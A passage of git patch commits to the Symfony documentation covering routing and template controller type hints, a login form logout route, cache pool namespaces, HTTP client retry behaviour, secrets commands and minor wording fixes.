@@ -1482,7 +1503,7 @@ host name:
             /**
              * @Route("/", name="homepage")
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1546,6 +1567,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1559,7 +1581,7 @@ multi-tenant applications) and these parameters can be validated too with
              *     requirements={"subdomain"="m|mobile"}
              * )
              */
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
@@ -1567,7 +1589,7 @@ multi-tenant applications) and these parameters can be validated too with
             /**
              * @Route("/", name="homepage")
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1676,6 +1698,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -1686,7 +1709,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
              *     "nl": "/over-ons"
              * }, name="about_us")
              */
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -1816,6 +1839,7 @@ use the ``generateUrl()`` helper::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
 
@@ -1824,10 +1848,8 @@ use the ``generateUrl()`` helper::
         /**
          * @Route("/blog", name="blog_list")
          */
-        public function list()
+        public function list(): Response
         {
-            // ...
-
             // generate a URL with no route arguments
             $signUpPage = $this->generateUrl('sign_up');
 
@@ -1843,6 +1865,8 @@ use the ``generateUrl()`` helper::
             // when a route is localized, Symfony uses by default the current request locale
             // pass a different '_locale' value if you want to set the locale explicitly
             $signUpPageInDutch = $this->generateUrl('sign_up', ['_locale' => 'nl']);
+
+            // ...
         }
     }
 
@@ -2000,7 +2024,7 @@ This information can be configured per command too::
             $this->router = $router;
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // these values override any global configuration
             $context = $this->router->getContext();
@@ -2101,6 +2125,7 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
@@ -2108,7 +2133,7 @@ each route explicitly:
             /**
              * @Route("/login", name="login", schemes={"https"})
              */
-            public function login()
+            public function login(): Response
             {
                 // ...
             }
@@ -2222,7 +2247,7 @@ Here are some common errors you might see while working with routing:
 
 This happens when your controller method has an argument (e.g. ``$slug``)::
 
-    public function show($slug)
+    public function show(string $slug): Response
     {
         // ...
     }
diff --git a/templates.rst b/templates.rst
index fb30f9a7c03..f415eaa82e3 100644
--- a/templates.rst
+++ b/templates.rst
@@ -90,12 +90,13 @@ passes to it the needed variables::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
         // ...
 
-        public function notifications()
+        public function notifications(): Response
         {
             // get the user information and notifications somehow
             $userFirstName = '...';
@@ -191,6 +192,7 @@ Consider the following routing configuration:
         namespace App\Controller;
 
         // ...
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -198,7 +200,7 @@ Consider the following routing configuration:
             /**
              * @Route("/", name="blog_index")
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -206,7 +208,7 @@ Consider the following routing configuration:
             /**
              * @Route("/article/{slug}", name="blog_post")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -399,7 +401,7 @@ use the ``render()`` helper::
 
     class ProductController extends AbstractController
     {
-        public function index()
+        public function index(): Response
         {
             // ...
 
@@ -723,11 +725,12 @@ First, create the controller that renders a certain number of recent articles::
     // src/Controller/BlogController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
     class BlogController extends AbstractController
     {
-        public function recentArticles($max = 3)
+        public function recentArticles(int $max = 3): Response
         {
             // get the recent articles somehow (e.g. making a database query)
             $articles = ['...', '...', '...'];

From a4023d6e51d66745d1120a42ce26bc6cca63418c Mon Sep 17 00:00:00 2001
From: Martin Hujer <mail@martinhujer.cz>
Date: Wed, 11 Dec 2019 13:18:09 +0100
Subject: [PATCH 1370/7107] Security: How to Build a Login Form: sync with
 recent Maker Bundle changes

---
 security/form_login_setup.rst | 25 ++++++++++++++++---------
 1 file changed, 16 insertions(+), 9 deletions(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index c52847f0dcc..2213e949fe8 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -74,10 +74,15 @@ class that processes the login submit and 4) updates the main security config fi
             // last username entered by the user
             $lastUsername = $authenticationUtils->getLastUsername();
 
-            return $this->render('security/login.html.twig', [
-                'last_username' => $lastUsername,
-                'error' => $error
-            ]);
+            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
+        }
+
+        /**
+         * @Route("/logout", name="app_logout")
+         */
+        public function logout()
+        {
+            throw new \Exception('This method can be blank - it will be intercepted by the logout key on your firewall');
         }
 
         /**
@@ -165,10 +170,10 @@ a traditional HTML form that submits to ``/login``:
         {% endif %}
 
         <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail" class="sr-only">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" placeholder="Email" required autofocus>
-        <label for="inputPassword" class="sr-only">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
+        <label for="inputEmail">Email</label>
+        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
+        <label for="inputPassword">Password</label>
+        <input type="password" name="password" id="inputPassword" class="form-control" required>
 
         <input type="hidden" name="_csrf_token"
                value="{{ csrf_token('authenticate') }}"
@@ -300,7 +305,7 @@ a traditional HTML form that submits to ``/login``:
         }
     }
 
-**Step 4.** Updates the main security config file to enable the Guard authenticator:
+**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
 
 .. configuration-block::
 
@@ -316,6 +321,8 @@ a traditional HTML form that submits to ``/login``:
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
+                    logout:
+                        path: app_logout
 
     .. code-block:: xml
 

From 8a0c09efe8157757d73de7148408a091bf18a28b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 15:14:45 +0200
Subject: [PATCH 1371/7107] [#12802] Updated XML and PHP examples

---
 security/form_login_setup.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 2213e949fe8..4d9bb9265c8 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -341,6 +341,7 @@ a traditional HTML form that submits to ``/login``:
                     <guard>
                         <authenticator class="App\Security\LoginFormAuthenticator"/>
                     </guard>
+                    <logout path="app_logout" />
                 </firewall>
             </config>
         </srv:container>
@@ -360,6 +361,9 @@ a traditional HTML form that submits to ``/login``:
                             LoginFormAuthenticator::class,
                         ]
                     ],
+                    'logout' => [
+                        'path' => 'app_logout',
+                    ],
                 ],
             ],
         ]);

From 010f62fc460e49461c5d3fb98f2aaceb636c813d Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 21 Oct 2020 15:49:46 +0200
Subject: [PATCH 1372/7107] Fix markup of configuration-block.

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 53088f53a32..4588ba61cd2 100644
--- a/routing.rst
+++ b/routing.rst
@@ -58,7 +58,7 @@ This configuration tells Symfony to look for routes defined as annotations in
 any PHP class stored in the ``src/Controller/`` directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
-do so, create a :doc:`controller class </controller>` like the following::
+do so, create a :doc:`controller class </controller>` like the following:
 
 .. configuration-block::
 

From 526012ed7a9a1c1aac7c829fcb6f68e2aea67d93 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Mon, 21 Oct 2019 21:00:22 +0300
Subject: [PATCH 1373/7107] [Cache] Custom pool namespaces

---
 cache.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/cache.rst b/cache.rst
index 4fc6a4faa87..42a22ca55e3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -329,6 +329,53 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
         // ...
     }
 
+.. tip::
+
+    If you need the namespace to be interoperable with a third-party app,
+    you can take control over auto-generation by setting the ``namespace``
+    attribute of the ``cache.pool`` service tag. For example, you can
+    override the service definition of the adapter:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                app.cache.adapter.redis:
+                    parent: 'cache.adapter.redis'
+                    tags:
+                        - { name: 'cache.pool', namespace: 'my_custom_namespace' }
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="app.cache.adapter.redis" parent="cache.adapter.redis">
+                        <tag name="cache.pool" namespace="my_custom_namespace"/>
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set('app.cace.adapter.redis')
+                    ->parent('cache.adapter.redis')
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+            };
+
 Custom Provider Options
 -----------------------
 

From 1b64a6e791b765e6eb29f9ce91597b85a4ac6911 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 16:01:48 +0200
Subject: [PATCH 1374/7107] Fixed DOCtor

---
 security/form_login_setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 4d9bb9265c8..abbbb6eb1f2 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -341,7 +341,7 @@ a traditional HTML form that submits to ``/login``:
                     <guard>
                         <authenticator class="App\Security\LoginFormAuthenticator"/>
                     </guard>
-                    <logout path="app_logout" />
+                    <logout path="app_logout"/>
                 </firewall>
             </config>
         </srv:container>

From b9a47effa7ceb176e64bec5e59c20141337f469a Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Thu, 28 Nov 2019 00:03:25 +0100
Subject: [PATCH 1375/7107] Update multiple_kernels.rst

---
 configuration/multiple_kernels.rst | 43 +++++++++++++++++++++---------
 1 file changed, 31 insertions(+), 12 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index e6110bb69c2..a0069b9be4b 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -88,31 +88,50 @@ files so they don't collide with the files from ``src/Kernel.php``::
 
     class ApiKernel extends Kernel
     {
-        // ...
+        use MicroKernelTrait;
 
         public function registerBundles()
         {
-            // load only the bundles strictly needed for the API...
+            // load only the bundles strictly needed for the API
+            $contents = require $this->getProjectDir().'/config/api_bundles.php';
+            foreach ($contents as $class => $envs) {
+                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
+                    yield new $class();
+                }
+            }
+        }
+
+        public function getProjectDir(): string
+        {
+            return \dirname(__DIR__);
         }
 
-        public function getCacheDir()
+        public function getCacheDir(): string
         {
-            return dirname(__DIR__).'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
         }
 
-        public function getLogDir()
+        public function getLogDir(): string
         {
-            return dirname(__DIR__).'/var/log/api';
+            return $this->getProjectDir().'/var/log/api';
         }
 
         public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
         {
-            // load only the config files strictly needed for the API
-            $confDir = $this->getProjectDir().'/config';
-            $loader->load($confDir.'/api/*'.self::CONFIG_EXTS, 'glob');
-            if (is_dir($confDir.'/api/'.$this->environment)) {
-                $loader->load($confDir.'/api/'.$this->environment.'/**/*'.self::CONFIG_EXTS, 'glob');
-            }
+            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
+            $container->setParameter('container.dumper.inline_factories', true);
+            $confDir = $this->getProjectDir().'/config/api';
+
+            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+        }
+
+        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        {
+            $confDir = $this->getProjectDir().'/config/api';
+            // ... load only the config routes strictly needed for the API
         }
     }
 

From 0f91cc9f74a656da845b6a46b225a8351a83ccae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 20 Oct 2020 09:42:57 +0200
Subject: [PATCH 1376/7107] Add documentation for retry on idempotent methods

---
 http_client.rst                       | 8 +++++---
 reference/configuration/framework.rst | 7 +++++--
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e0a9d6808e3..5c899660b62 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -694,9 +694,10 @@ Retry Failed Requests
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled,
-each failed request with an HTTP status of ``423``, ``425``, ``429``, ``500``,
-``502``, ``503``, ``504``, ``507``, or ``510`` is retried up to 3 times, with an
-exponential delay between retries (first retry = 1 second; third retry: 4 seconds).
+each failed request with an HTTP status of ``423``, ``425``, ``429``, ``502``,
+``503`` or with an `idempotent method`_ and a HTTP status of ``500``, ``504``,
+``507`` or ``510`` is retried up to 3 times, with an exponential delay between
+retries (first retry = 1 second; third retry: 4 seconds).
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.
@@ -1609,3 +1610,4 @@ Then configure Symfony to use your callback:
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a3d6e9fd95a..b8b0a7887d6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -779,7 +779,10 @@ will automatically retry failed HTTP requests.
             # ...
             retry_failed:
                 # retry_strategy: app.custom_strategy
-                http_codes: [429, 500]
+                http_codes:
+                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                    429: true            # retry all responses with 429 status code
+                    500: ['GET', 'HEAD']
                 max_retries: 2
                 delay: 1000
                 multiplier: 3
@@ -923,7 +926,7 @@ value must use the format ``['header-name' => 'value0, value1, ...']``.
 http_codes
 ..........
 
-**type**: ``array`` **default**: ``[423, 425, 429, 500, 502, 503, 504, 507, 510]``
+**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
 .. versionadded:: 5.2
 

From 689614433c04d186640f563d619c36adc43184c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Oct 2020 20:14:08 +0200
Subject: [PATCH 1377/7107] Tweak

---
 http_client.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 5c899660b62..efc5a14e799 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -693,11 +693,13 @@ Retry Failed Requests
 
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
-:ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled,
-each failed request with an HTTP status of ``423``, ``425``, ``429``, ``502``,
-``503`` or with an `idempotent method`_ and a HTTP status of ``500``, ``504``,
-``507`` or ``510`` is retried up to 3 times, with an exponential delay between
-retries (first retry = 1 second; third retry: 4 seconds).
+:ref:`retry_failed option <reference-http-client-retry-failed>`.
+
+By default, failed requests are retried up to 3 times, with an exponential delay
+between retries (first retry = 1 second; third retry: 4 seconds) and only for
+the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
+when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
+an HTTP `idempotent method`_.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From b56568416ffc59993c83007343c0750de519e935 Mon Sep 17 00:00:00 2001
From: Matthias Gutjahr <mattsches@gmail.com>
Date: Wed, 21 Oct 2020 11:59:21 +0200
Subject: [PATCH 1378/7107] Update doctrine.rst

Correct link to StofDoctrineExtensionsBundle
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index bb27ad91bfa..eab24ae8f13 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -879,4 +879,4 @@ Learn more
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
-.. _`StofDoctrineExtensionsBundle`: https://github.com/antishov/StofDoctrineExtensionsBundle
+.. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle

From 9994e7b0dca329678cb7db549bbae7d256d9c7b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 21 Oct 2020 20:24:19 +0200
Subject: [PATCH 1379/7107] Use APP_RUNTIME_ENV to define secrets

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 696ce519682..ab49c052dff 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -48,7 +48,7 @@ running:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:generate-keys --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:generate-keys
 
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
@@ -78,7 +78,7 @@ Suppose you want to store your database password as a secret. By using the
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
-    $ php bin/console secrets:set DATABASE_PASSWORD --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
 
 This will create a new file for the secret in ``config/secrets/dev`` and another
 in ``config/secrets/prod``. You can also set the secret in a few other ways:
@@ -253,7 +253,7 @@ your secrets during deployment to the "local" vault:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
 This will write all the decrypted secrets into the ``.env.prod.local`` file.
 After doing this, the decryption key does *not* need to remain on the server(s).

From ded882526e23c22d14455d2e6c191c93e979f5a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 23:36:00 +0200
Subject: [PATCH 1380/7107] [#14421] Merged the new description into the
 current sentence

---
 translation.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index db50e05cb07..672518d8f8e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -657,10 +657,8 @@ must be named according to the following path: ``domain.locale.loader``:
 
 * **domain**: Domains are a way to organize messages into groups. Unless
   parts of the application are explicitly separated from each other, it is
-  recommended to only use default ``messages`` domain.
-
-  If no domains are explicitly defined while using the translator, Symfony 
-  will default to the ``messages`` domain (e.g. ``messages.en.yaml``)
+  recommended to only use the default ``messages`` domain (e.g.
+  ``messages.en.yaml``).
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 

From 300da7ba340b6759d6e58614ec0feca9ef460ea6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Oct 2020 08:58:19 +0200
Subject: [PATCH 1381/7107] Enhancement: New rules for DOCtor-RST.

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6711c75c8f2..a243e6266b6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -24,6 +24,8 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    only_backslashes_in_namespace_in_php_code_block: ~
+    only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
     php_prefix_before_bin_console: ~
     replace_code_block_types: ~

From 3781df649e39522eddbb612d452c661eb33f33d1 Mon Sep 17 00:00:00 2001
From: Guilhem Niot <guilhem.niot@gmail.com>
Date: Fri, 12 Jun 2020 13:46:50 +0200
Subject: [PATCH 1382/7107] [PropertyInfo] Document setting serializer_groups
 to null in the SerializerExtractor

---
 components/property_info.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index d67034b04fa..16aac3299e2 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -435,7 +435,18 @@ with the ``property_info`` service in the Symfony Framework::
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
     // List information.
-    $serializerExtractor->getProperties($class);
+    $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
+    
+.. note::
+
+    The ``serializer_groups`` option must be provided in order to have a value different than ``null`` returned.
+   
+    If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be checked but you will get only the properties 
+    considered by the Serializer Component (notably the ``@Ignore`` annotation is taken into account).
+
+.. versionadded:: 5.2
+
+    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From d0abaf04aa169560fa7e791debbc82299991be0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 09:19:42 +0200
Subject: [PATCH 1383/7107] Tweaks

---
 components/property_info.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 16aac3299e2..b6684d948d8 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -434,15 +434,12 @@ with the ``property_info`` service in the Symfony Framework::
     );
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
-    // List information.
+    // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-    
-.. note::
-
-    The ``serializer_groups`` option must be provided in order to have a value different than ``null`` returned.
    
-    If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be checked but you will get only the properties 
-    considered by the Serializer Component (notably the ``@Ignore`` annotation is taken into account).
+If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
+checked but you will get only the properties considered by the Serializer
+Component (notably the ``@Ignore`` annotation is taken into account).
 
 .. versionadded:: 5.2
 

From f40ec08e5f39763dc62d8035fc228210605970c5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Oct 2020 09:29:38 +0200
Subject: [PATCH 1384/7107] Fix: DOCtor-RST

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index db0501182bc..7aee0061c0c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -645,7 +645,7 @@ tags, is to implement the static ``getDefaultPriority()`` method on the
 service itself::
 
     // src/Handler/One.php
-    namespace App/Handler;
+    namespace App\Handler;
 
     class One
     {

From d084e993a4a6e321c4a8eeb132e273d33e2c408a Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Wed, 17 Jun 2020 20:44:36 +0900
Subject: [PATCH 1385/7107] add a note about npm commands equivalent to yarn's

---
 frontend/encore/simple-example.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 65b96370059..50dec19e46a 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -74,6 +74,21 @@ To build the assets, run:
 
     Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
 
+.. note::
+
+    If you prefer npm, run these commands instead:
+    
+    .. code-block:: terminal
+
+        # compile assets once
+        $ npm run dev
+
+        # or, recompile assets automatically when files change
+        $ npm run watch
+
+        # on deploy, create a production build
+        $ npm run build
+
 Congrats! You now have three new files:
 
 * ``public/build/app.js`` (holds all the JavaScript for your "app" entry)

From f3c629e836118404480e71653b759da1ee5f6ab4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 10:33:32 +0200
Subject: [PATCH 1386/7107] Tweak

---
 frontend/encore/simple-example.rst | 21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 50dec19e46a..6ddcd5bdbd8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -63,32 +63,23 @@ To build the assets, run:
 
     # compile assets once
     $ yarn encore dev
+    # if you prefer npm, run:
+    $ npm run dev
 
     # or, recompile assets automatically when files change
     $ yarn encore dev --watch
+    # if you prefer npm, run:
+    $ npm run watch
 
     # on deploy, create a production build
     $ yarn encore production
+    # if you prefer npm, run:
+    $ npm run build
 
 .. note::
 
     Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
 
-.. note::
-
-    If you prefer npm, run these commands instead:
-    
-    .. code-block:: terminal
-
-        # compile assets once
-        $ npm run dev
-
-        # or, recompile assets automatically when files change
-        $ npm run watch
-
-        # on deploy, create a production build
-        $ npm run build
-
 Congrats! You now have three new files:
 
 * ``public/build/app.js`` (holds all the JavaScript for your "app" entry)

From 2a863fb883d82568bcdbbfc80cd73b0d1fa564f2 Mon Sep 17 00:00:00 2001
From: Rezende <rezehnde@gmail.com>
Date: Thu, 23 Jul 2020 12:06:51 -0300
Subject: [PATCH 1387/7107] =?UTF-8?q?Recommending=20symfony/apache-pack=20?=
 =?UTF-8?q?when=20installing=20the=20project=20on=20a=20sha=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 deployment.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/deployment.rst b/deployment.rst
index 5d02bae0e58..18fd4ec6fa8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -195,6 +195,7 @@ setup:
 * Add/edit CRON jobs
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
+* On a shared hosting platform using the Apache web server, you may need to install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
 * ...
 
 Application Lifecycle: Continuous Integration, QA, etc.

From 060773ef8ce9338c421688a146b316595b557ae1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 22 Oct 2020 10:40:32 +0200
Subject: [PATCH 1388/7107] [#14422] Minor change in sentence

---
 logging/channels_handlers.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index bac0be76012..8f6e9aed98a 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,10 +182,11 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been 
-predefined in your Monolog configuration.
+``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
+:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-An example to inject the service related to the ``app`` logger channel:
+For example to inject the service related to the ``app`` logger channel,
